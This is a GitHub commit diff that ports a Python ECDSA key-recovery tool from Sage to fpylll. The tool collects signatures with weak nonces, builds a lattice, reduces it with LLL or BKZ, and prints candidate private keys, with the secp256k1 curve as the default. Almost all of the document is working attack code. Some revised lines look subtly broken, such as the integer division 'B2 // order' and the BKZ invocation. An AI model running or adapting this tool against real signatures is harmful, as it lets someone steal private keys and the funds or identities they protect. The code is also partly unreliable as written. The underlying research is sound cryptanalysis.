Skip to content

Commit 3acb50c

Browse files
authored
Update crack_weak_ECDSA_nonces_with_LLL.py
1 parent f3e0e67 commit 3acb50c

File tree

1 file changed

+60
-86
lines changed

1 file changed

+60
-86
lines changed
Lines changed: 60 additions & 86 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,17 @@
11
#!/usr/bin/env python
2-
# Author Dario Clavijo 2020
3-
# based on previous work:
2+
# Author: Dario Clavijo (2020)
3+
# Based on:
44
# https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/
55
# https://www.youtube.com/watch?v=6ssTlSSIJQE
66

77
import sys
88
import argparse
99
import mmap
10-
from sage.all_cmdline import *
1110
import gmpy2
11+
from fpylll import IntegerMatrix, LLL, BKZ
1212

1313
# Default order from secp256k1 curve
14-
DEFAULT_ORDER = 115792089237316195423570985008687907852837564279074904382605163141518161494337
14+
DEFAULT_ORDER = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
1515

1616

1717
def modular_inv(a, b):
@@ -20,13 +20,11 @@ def modular_inv(a, b):
2020

2121

2222
def load_csv(filename, limit=None, mmap_flag=False):
23-
"""Load CSV with ECDSA data, optimized to handle file efficiently (with optional mmap)."""
23+
"""Load CSV with ECDSA data."""
2424
msgs, sigs, pubs = [], [], []
25-
26-
# Open the file with mmap if requested
25+
2726
if mmap_flag:
2827
with open(filename, 'r') as f:
29-
# Memory map the file for efficient access
3028
mapped_file = mmap.mmap(f.fileno(), 0, access=mmap.ACCESS_READ)
3129
lines = mapped_file.splitlines()
3230
for n, line in enumerate(lines):
@@ -38,7 +36,6 @@ def load_csv(filename, limit=None, mmap_flag=False):
3836
sigs.append((int(R, 16), int(S, 16)))
3937
pubs.append(pub)
4038
else:
41-
# Regular file reading without mmap
4239
with open(filename, 'r') as fp:
4340
for n, line in enumerate(fp):
4441
if limit is not None and n >= limit:
@@ -47,149 +44,126 @@ def load_csv(filename, limit=None, mmap_flag=False):
4744
msgs.append(int(Z, 16))
4845
sigs.append((int(R, 16), int(S, 16)))
4946
pubs.append(pub)
50-
47+
5148
return msgs, sigs, pubs
5249

5350

54-
def make_matrix(msgs, sigs, pubs, B, order, matrix_type="dense"):
55-
"""Construct matrix, either sparse or dense, based on the matrix_type parameter."""
51+
def make_matrix_fpylll(msgs, sigs, B, order):
52+
"""
53+
Construct IntegerMatrix for fpylll reduction.
54+
"""
5655
m = len(msgs)
5756
m1, m2 = m + 1, m + 2
58-
sys.stderr.write(f"Using: {m} sigs...\n")
59-
60-
if matrix_type == "sparse":
61-
matrix = SparseMatrix(QQ, m2, m2)
62-
else:
63-
matrix = Matrix(QQ, m2, m2)
57+
B2 = 1 << B
58+
59+
mat = IntegerMatrix(m2, m2)
6460

6561
msgn, rn, sn = msgs[-1], sigs[-1][0], sigs[-1][1]
6662
mi_sn_order = modular_inv(sn, order)
67-
rnsn_inv = rn * mi_sn_order
68-
mnsn_inv = msgn * mi_sn_order
63+
rnsn_inv = (rn * mi_sn_order) % order
64+
mnsn_inv = (msgn * mi_sn_order) % order
6965

7066
for i in range(m):
71-
# Fill diagonal with the order
72-
matrix[i, i] = order
73-
# Set values for the matrix (only first m columns)
7467
mi_sigi_order = modular_inv(sigs[i][1], order)
75-
matrix[m, i] = (sigs[i][0] * mi_sigi_order) - rnsn_inv
76-
matrix[m1, i] = (msgs[i] * mi_sigi_order) - mnsn_inv
68+
mat[i, i] = order
69+
mat[m, i] = int((sigs[i][0] * mi_sigi_order - rnsn_inv) % order)
70+
mat[m1, i] = int((msgs[i] * mi_sigi_order - mnsn_inv) % order)
7771

78-
# Populate last two columns with specific values
79-
B2 = 1 << B
80-
matrix[m, m1] = B2 / order
81-
matrix[m1, m1] = B2
72+
mat[m, m1] = B2 // order
73+
mat[m1, m1] = B2
74+
75+
return mat
8276

77+
78+
def reduce_matrix(matrix, algorithm="LLL"):
79+
if algorithm == "LLL":
80+
LLL.reduction(matrix)
81+
else:
82+
LLL.reduction(matrix)
83+
bkz = BKZ(matrix)
84+
param = BKZ.Param(block_size=20)
85+
bkz(param)
8386
return matrix
8487

8588

8689
def privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, order, max_rows=20):
8790
"""
88-
Extract private keys by:
89-
• Precomputing (a,b,cd,ab_list) for all msgs,
90-
• Sorting rows by ||row|| ascending,
91-
• Testing only the top `max_rows` rows.
91+
Try recovering private keys from reduced lattice matrix.
9292
"""
9393
from math import sqrt
9494
keys = set()
95-
m = len(msgs)
95+
m = len(msgs)
9696
msgn, rn, sn = msgs[-1], sigs[-1][0], sigs[-1][1]
9797

98-
# 1) Precompute per-i constants
9998
params = []
10099
for i in range(m):
101100
a = rn * sigs[i][1]
102101
b = sn * sigs[i][0]
103102
c = sn * msgs[i]
104103
d = msgn * sigs[i][1]
105104
cd = (c - d) % order
106-
if a == b: ab_list = None
107-
else: ab_list = [ (a - b) % order, (b - a) % order ]
105+
if a == b:
106+
ab_list = None
107+
else:
108+
ab_list = [(a - b) % order, (b - a) % order]
108109
params.append((b, cd, ab_list))
109110

110-
# 2) Compute row norms once
111111
row_norms = []
112-
for idx, row in enumerate(matrix):
113-
# only consider first m components for the norm
114-
norm2 = sum((float(row[j])**2 for j in range(m)))
112+
for idx in range(matrix.nrows):
113+
norm2 = sum((float(matrix[idx, j]) ** 2 for j in range(m)))
115114
row_norms.append((norm2, idx))
116115
row_norms.sort()
117116

118-
# 3) Only test top max_rows shortest rows
119117
for _, ridx in row_norms[:max_rows]:
120-
row = matrix[ridx]
121-
# extract all potential k-diffs at once
122-
kdiffs = [int(row[j]) for j in range(m)]
123-
# for each message i, attempt recovery
118+
row = [int(matrix[ridx, j]) for j in range(m)]
124119
for i, (b, cd, ab_list) in enumerate(params):
125-
base = (cd - b * kdiffs[i])
120+
base = (cd - b * row[i])
126121
if ab_list is None:
127-
# special case a==b -> key = base
128-
if 0 < base < order: keys.add(base)
129-
else: keys.add(base % order)
122+
keys.add(base % order)
130123
else:
131124
for ab in ab_list:
132-
# modular_inv only if ab != 0
133125
if ab:
134126
inv = modular_inv(ab, order)
135-
key = (base * inv)
136-
if 0 < key < order: keys.add(key)
137-
else: keys.add(key % order)
127+
key = (base * inv) % order
128+
keys.add(key)
138129
return list(keys)
139130

140131

141-
142132
def display_keys(keys):
143-
"""Display private keys in hexadecimal format."""
133+
"""Display recovered private keys."""
144134
sys.stdout.write("\n".join([f"{key:064x}" for key in keys]) + "\n")
145135
sys.stdout.flush()
146136
sys.stderr.flush()
147137

148138

149139
def main():
150-
"""Main function to load data, perform lattice reduction, and display keys."""
151-
parser = argparse.ArgumentParser(description="ECDSA private key recovery using lattice reduction")
152-
153-
# Command line arguments
154-
parser.add_argument("filename", help="CSV file containing the ECDSA messages and signatures")
155-
parser.add_argument("B", type=int, help="Parameter B for matrix construction")
156-
parser.add_argument("limit", type=int, help="Limit for number of records to process")
140+
parser = argparse.ArgumentParser(description="ECDSA private key recovery using lattice reduction (fpylll)")
141+
parser.add_argument("filename", help="CSV file containing ECDSA traces")
142+
parser.add_argument("B", type=int, help="log2 bound parameter B")
143+
parser.add_argument("limit", type=int, help="Limit number of signatures to process")
157144
parser.add_argument(
158-
"--matrix_type", choices=["dense", "sparse"], default="dense",
159-
help="Type of matrix to use: 'dense' or 'sparse' (default: dense)"
160-
)
161-
parser.add_argument(
162-
"--order", type=int, default=DEFAULT_ORDER,
163-
help="Order of the curve. Default is the secp256k1 order"
145+
"--order", type=int, default=DEFAULT_ORDER,
146+
help="Curve order (default: secp256k1)"
164147
)
165148
parser.add_argument(
166149
"--reduction", choices=["LLL", "BKZ"], default="LLL",
167-
help="Reduction algorithm: LLL (default) or BKZ"
150+
help="Lattice reduction algorithm (default: LLL)"
168151
)
169152
parser.add_argument(
170-
"--mmap", action="store_true",
171-
help="Enable memory-mapping for the CSV file for faster processing"
153+
"--mmap", action="store_true",
154+
help="Enable mmap for fast CSV access"
172155
)
173156

174-
# Parse arguments
175157
args = parser.parse_args()
176158

177-
# Load messages, signatures, and public keys with optional mmap
178159
msgs, sigs, pubs = load_csv(args.filename, limit=args.limit, mmap_flag=args.mmap)
160+
sys.stderr.write(f"Using: {len(msgs)} sigs...\n")
179161

180-
# Construct matrix for lattice reduction
181-
matrix = make_matrix(msgs, sigs, pubs, args.B, args.order, matrix_type=args.matrix_type)
182-
183-
# Perform LLL or BKZ reduction
184-
if args.reduction == "LLL":
185-
new_matrix = matrix.LLL(early_red=True, use_siegel=True)
186-
else:
187-
new_matrix = matrix.BKZ(early_red=True, use_siegel=True)
188-
189-
# Extract and display private keys
190-
keys = privkeys_from_reduced_matrix(msgs, sigs, pubs, new_matrix, args.order)
162+
matrix = make_matrix_fpylll(msgs, sigs, args.B, args.order)
163+
matrix = reduce_matrix(matrix, algorithm=args.reduction)
164+
keys = privkeys_from_reduced_matrix(msgs, sigs, pubs, matrix, args.order)
191165
display_keys(keys)
192166

193167

194168
if __name__ == "__main__":
195-
main()
169+
main()

0 commit comments

Comments
 (0)